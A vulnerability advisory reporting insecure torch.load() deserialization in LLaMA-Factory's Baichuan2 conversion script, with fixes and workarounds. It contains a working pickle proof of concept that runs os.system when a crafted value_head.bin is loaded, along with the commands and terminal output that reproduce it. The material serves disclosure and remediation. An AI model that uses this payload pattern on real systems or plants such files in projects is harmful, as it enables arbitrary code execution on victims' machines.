PYSEC-2026-1574

### Description

A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.

### Attack Vector

This vulnerability is **exploitable without authentication or privileges** when a user is tricked into:

1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo). 2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.

No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`.

### Impact

- Arbitrary command execution (RCE) - System compromise - Persistence or lateral movement in shared compute environments

### Proof of Concept (PoC)

```python # malicious_payload.py import torch, pickle, os

class MaliciousPayload: def __reduce__(self): return (os.system, ("mkdir HACKED!",)) # Arbitrary command

malicious_data = { "v_head.summary.weight": MaliciousPayload(), "v_head.summary.bias": torch.randn(10) }

with open("value_head.bin", "wb") as f: pickle.dump(malicious_data, f) ```

An example of `config.json`:

```json { "model": "value_head.bin", "hidden_size": 4096, "num_attention_heads": 32, "num_hidden_layers": 24, "initializer_range": 0.02, "intermediate_size": 11008, "max_position_embeddings": 4096, "kv_channels": 128, "layer_norm_epsilon": 1e-5, "tie_word_embeddings": false, "vocab_size": 151936 } ```

```bash (base) root@d6ab70067470:~/LLaMA-Factory_latest# tree . `-- LLaMA-Factory |-- LICENSE |-- README.md |-- malicious_folder | |-- config.json | `-- value_head.bin `-- xxxxx(Irrelevant documents omitted) ```

```bash # Reproduction python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out ```

➡️ Running this will execute the malicious payload and create a `HACKED!` folder.

```bash (base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls CITATION.cff LICENSE MANIFEST.in Makefile README.md README_zh.md assets data docker evaluation examples malicious_folder pyproject.toml requirements.txt scripts setup.py src tests (base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out 2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered WARNING: All log messages before absl::InitializeLog() is called are written to STDERR E0000 00:00:1745393818.451398 1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered E0000 00:00:1745393818.456423 1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered 2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations. To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags. Load weights: 50%|██████████████████████████████████████████████████████████████████████████████████▌ | 1/2 [00:00<00:00, 123.70it/s] Traceback (most recent call last): File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 112, in <module> fire.Fire(llamafy_baichuan2) File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 135, in Fire component_trace = _Fire(component, args, parsed_flag_args, context, name) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 468, in _Fire component, remaining_args = _CallAndUpdateTrace( ^^^^^^^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 684, in _CallAndUpdateTrace component = fn(*varargs, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^ File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 107, in llamafy_baichuan2 save_weight(input_dir, output_dir, shard_size, save_safetensors) File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 35, in save_weight shard_weight = torch.load(os.path.join(input_dir, filepath), map_location="cpu") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1040, in load return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1260, in _legacy_load raise RuntimeError("Invalid magic number; corrupt file?") RuntimeError: Invalid magic number; corrupt file? (base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls CITATION.cff LICENSE Makefile README_zh.md data evaluation malicious_folder pyproject.toml scripts src 'HACKED!' MANIFEST.in README.md assets docker examples out requirements.txt setup.py tests ```

### Affected File(s)

- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35 - `scripts/convert_ckpt/llamafy_baichuan2.py` - Line: `torch.load(os.path.join(input_dir, filepath), map_location="cpu")`

### Suggested Fix

- Replace `torch.load()` with safer alternatives like `safetensors`. - Validate and whitelist file types before deserialization. - Require checksum validation.

Example patch:

```python # Replace torch.load() with safe deserialization try: from safetensors.torch import load_file tensor_data = load_file(filepath) except Exception: print("Invalid or unsafe checkpoint file.") return ```

### Workarounds

- Avoid running the script with untrusted `.bin` files. - Use containers or VMs to isolate script execution.

### References

- [torch.load() — PyTorch Docs](https://pytorch.org/docs/stable/generated/torch.load.html) - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)

### Credits

Discovered and reported by [Yu Rong](https://github.com/Anchor0221) and [Hao Fan](https://github.com/xhjy2020), 2025-04-23